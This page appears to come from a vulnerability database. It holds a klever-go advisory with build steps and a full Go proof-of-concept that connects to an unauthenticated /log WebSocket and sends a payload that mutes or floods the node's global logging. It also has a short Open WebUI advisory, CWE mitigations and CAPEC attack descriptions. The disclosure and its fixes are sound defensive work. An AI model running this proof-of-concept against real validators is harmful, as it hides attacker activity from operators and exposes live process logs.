  • Remove /log from the default open: true route set.
  • Require authentication before upgrading the WebSocket.
  • Reject unauthenticated clients before any profile message is processed.

Short term

  • Do not apply client-provided logger profiles to the process-global logger.
  • If remote log viewing is required, allow only a fixed server-side profile or a strict allowlist of safe settings.
  • Enforce origin checks and, if possible, bind /log to localhost-only or a dedicated admin interface.

Long term

  • Separate log streaming from global logger configuration.
  • Move any profile mutation capability behind an authenticated admin-only channel with explicit authorization and audit logging.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.7.19"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/klever-io/klever-go"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.20"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-86064"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-23T19:13:46Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "An unauthenticated client can connect to `GET /log`, send an arbitrary logger profile as the first WebSocket message, and mutate the node\u0027s global logging configuration before receiving live logs from the process. I confirmed this against a local validator built from this repository: an unauthenticated client set the global log level to `*:NONE`, the node accepted the profile, and the node stopped emitting normal slot logs while the WebSocket connection remained open.\n\nThis is not a duplicate of the published KVM or P2P advisories. It is a management-plane flaw in the public WebSocket logging endpoint.\n\n## Vulnerability details\n\n### Affected code\n\n- Route exposed by default in `config/node/api.yaml`\n- Route registration in `network/api/api.go`\n- Unauthenticated upgrade in `network/api/api.go`\n- First client message is parsed as a logger profile and applied globally in `network/api/logs/logSender.go`\n- Global logger mutation happens in dependency `github.com/klever-io/klever-go-logger`, `profile.go`, `Apply()`\n\n### Root cause\n\n`/log` is enabled by default and does not require authentication. After the WebSocket upgrade, the server reads the first client message and treats it as a logger `Profile`. That profile is then applied process-wide through `profile.Apply()`, which changes global log level patterns and output formatting options for the whole node.\n\nAfter that handshake, the same unauthenticated connection is registered as a log observer and receives live logs from the running process.\n\n## Reproduction steps\n\n### Environment\n\n- Validator built from the repository at commit `9640d63265e910e166dfa694c8e5ddeb53018ffd`\n- REST API bound locally for validation\n- Tested on 2026-05-30\n\n### Step 1: Build and run a local validator from source\n\n```bash\ncd \u003crepo-root\u003e\n\ngo build -o ./bin/validator ./cmd/node\n\n./bin/validator \\\n  --rest-api-interface=127.0.0.1:18080 \\\n  --port=18083 \\\n  --config=./config/node/config.yaml \\\n  --config-api=./config/node/api.yaml \\\n  --config-epochs=./config/node/enableEpochs.yaml \\\n  --config-gas-schedule=./config/node/gasScheduleV1.yaml \\\n  --config-external=./config/node/external.yaml \\\n  --genesis-file=./config/node/genesis.json \\\n  --nodes-setup-file=./config/node/nodesSetup.json \\\n  --working-directory=./validator-report-run \\\n  --use-log-view\n```\n\nThe node exposes `GET /log` and a plain HTTP request already shows it is a live WebSocket endpoint:\n\n```bash\ncurl -i http://127.0.0.1:18080/log\n```\n\nObserved response:\n\n```http\nHTTP/1.1 400 Bad Request\nSec-Websocket-Version: 13\n```\n\n### Step 2: Confirm normal node logging before the attack\n\nBefore the attack, the validator emits periodic slot logs such as:\n\n```text\n#################################### SLOT 14 BEGINS ####################################\n#################################### SLOT 15 BEGINS ####################################\n```\n\n### Step 3: Connect to `/log` without authentication and apply a global mute profile\n\nRun the PoC file:\n\n```bash\ncd \u003crepo-root\u003e\ngo run ./poc-log-profile-control.go \\\n  -url ws://127.0.0.1:18080/log \\\n  -profile none \\\n  -hold 12s\n```\n\nFull PoC source:\n\n```go\npackage main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"log\"\n\t\"time\"\n\n\t\"github.com/gorilla/websocket\"\n)\n\nfunc main() {\n\turl := flag.String(\"url\", \"ws://127.0.0.1:18080/log\", \"WebSocket log endpoint\")\n\tprofile := flag.String(\"profile\", \"none\", \"Profile to send: none or trace\")\n\thold := flag.Duration(\"hold\", 12*time.Second, \"How long to keep the socket open\")\n\tflag.Parse()\n\n\tpayload := `{\"LogLevelPatterns\":\"*:NONE\",\"WithCorrelation\":false,\"WithLoggerName\":false}`\n\tswitch *profile {\n\tcase \"trace\":\n\t\tpayload = `{\"LogLevelPatterns\":\"*:TRACE\",\"WithCorrelation\":true,\"WithLoggerName\":true}`\n\tcase \"none\":\n\tdefault:\n\t\tlog.Fatalf(\"unsupported profile %q\", *profile)\n\t}\n\n\tc, _, err := websocket.DefaultDialer.Dial(*url, nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"dial: %v\", err)\n\t}\n\tdefer c.Close()\n\n\tfmt.Printf(\"connected to %s\\n\", *url)\n\tfmt.Printf(\"sending payload: %s\\n\", payload)\n\n\tif err := c.WriteMessage(websocket.TextMessage, []byte(payload)); err != nil {\n\t\tlog.Fatalf(\"write payload: %v\", err)\n\t}\n\n\tfmt.Printf(\"holding connection open for %s\\n\", hold.String())\n\ttime.Sleep(*hold)\n\tfmt.Println(\"closing connection\")\n}\n```\n\nSave the PoC as `poc-log-profile-control.go` in the repository root, or run it from any directory with access to the Go module cache.\n\n### Step 4: Observe the validator accepts and applies the unauthenticated profile\n\nWhile the PoC is connected, the validator prints:\n\n```text\nwebsocket log profile received  profile = [pattern=*:NONE, with correlation=false, with logger name=false]\n```\n\n### Step 5: Observe logging is suppressed while the attacker connection remains open\n\nIn my local reproduction, the validator emitted:\n\n```text\nSLOT 14 BEGINS\nwebsocket log profile received profile = [pattern=*:NONE, ...]\nreverted log profile profile = [pattern=*:INFO, ...]\nSLOT 18 BEGINS\n```\n\nThe expected slot logs for the interval while `*:NONE` was active did not appear. This proves that an unauthenticated client can suppress process logs globally while the WebSocket remains connected.\n\n### Step 6: Observe the profile is restored only after the attacker disconnects\n\nAfter the PoC closes the WebSocket, the validator prints:\n\n```text\nreverted log profile  profile = [pattern=*:INFO, with correlation=false, with logger name=false]\n```\n\nThe revert happens because the server stores the previous profile and restores it only on disconnect. During the lifetime of the attacker connection, the attacker-controlled profile remains active.\n\n## Impact\n\nAn unauthenticated attacker can:\n\n- read live process logs over `/log`\n- mute node logging completely with `*:NONE`\n- increase verbosity to `*:TRACE` and force noisy logging\n- toggle correlation and logger-name settings process-wide\n\nThis affects both confidentiality and operational integrity.\n\nIn the reproduced case, the attacker hid normal validator slot logs for multiple slot intervals. In real deployments, logs commonly contain operational details, peer information, error traces, and occasionally secrets or credentials emitted by adjacent components. Even when no secrets are present, the ability to suppress or distort logs from the public network is a meaningful security impact because it degrades detection, incident response, and operator visibility while an attacker is active.\n\nThis issue is distinct from:\n\n- `GHSA-jc6w-wmfc-fh33` (KVM read-only execution side effects)\n- `GHSA-87m7-qffr-542v` (MultiDataInterceptor remote OOM)\n- `GHSA-74m6-4hjp-7226` (MultiDataInterceptor throttler slot leak)\n\nThose are VM/P2P-path flaws. This finding is an unauthenticated management-plane flaw in the WebSocket logging endpoint.\n\n## Recommended fix\n\n### Immediate\n\n- Remove `/log` from the default `open: true` route set.\n- Require authentication before upgrading the WebSocket.\n- Reject unauthenticated clients before any profile message is processed.\n\n### Short term\n\n- Do not apply client-provided logger profiles to the process-global logger.\n- If remote log viewing is required, allow only a fixed server-side profile or a strict allowlist of safe settings.\n- Enforce origin checks and, if possible, bind `/log` to localhost-only or a dedicated admin interface.\n\n### Long term\n\n- Separate log streaming from global logger configuration.\n- Move any profile mutation capability behind an authenticated admin-only channel with explicit authorization and audit logging.",
  "id": "GHSA-9v8p-frvj-2pcm",
  "modified": "2026-09-23T19:13:47Z",
  "published": "2026-09-23T19:13:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-9v8p-frvj-2pcm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/pull/74"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/commit/a2740c985a788fb69e17742ea4f0c37c440733b2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/klever-io/klever-go"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/releases/tag/v1.7.20"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Klever-Go: /log controls global node logging"
}

GHSA-9VF8-XGWM-97R8

Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-21 21:23
VLAI
Summary
Open WebUI lacks authentication for the `api/v1/utils/pdf` endpoint
Details

In version v0.3.10 of open-webui/open-webui, the api/v1/utils/pdf endpoint lacks authentication mechanisms, allowing unauthenticated attackers to access the PDF generation service. This vulnerability can be exploited by sending a POST request with an excessively large payload, potentially leading to server resource exhaustion and denial of service (DoS). Additionally, unauthorized users can misuse the endpoint to generate PDFs without verification, resulting in service misuse and potential operational and financial impacts.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.3.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-8053"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-21T21:23:57Z",
    "nvd_published_at": "2025-03-20T10:15:39Z",
    "severity": "HIGH"
  },
  "details": "In version v0.3.10 of open-webui/open-webui, the `api/v1/utils/pdf` endpoint lacks authentication mechanisms, allowing unauthenticated attackers to access the PDF generation service. This vulnerability can be exploited by sending a POST request with an excessively large payload, potentially leading to server resource exhaustion and denial of service (DoS). Additionally, unauthorized users can misuse the endpoint to generate PDFs without verification, resulting in service misuse and potential operational and financial impacts.",
  "id": "GHSA-9vf8-xgwm-97r8",
  "modified": "2025-03-21T21:23:57Z",
  "published": "2025-03-20T12:32:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8053"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/ebe8c1fa-113b-4df9-be03-a406b9adb9f4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI lacks authentication for the `api/v1/utils/pdf` endpoint"
}

Mitigation
Architecture and Design
  • Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
  • Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
  • In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Architecture and Design
  • Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
  • In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
Implementation System Configuration Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

CAPEC-12: Choosing Message Identifier

This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.

CAPEC-166: Force the System to Reset Values

An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.

CAPEC-216: Communication Channel Manipulation

An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.

CAPEC-36: Using Unpublished Interfaces or Functionality

An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.

CAPEC-62: Cross Site Request Forgery

An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.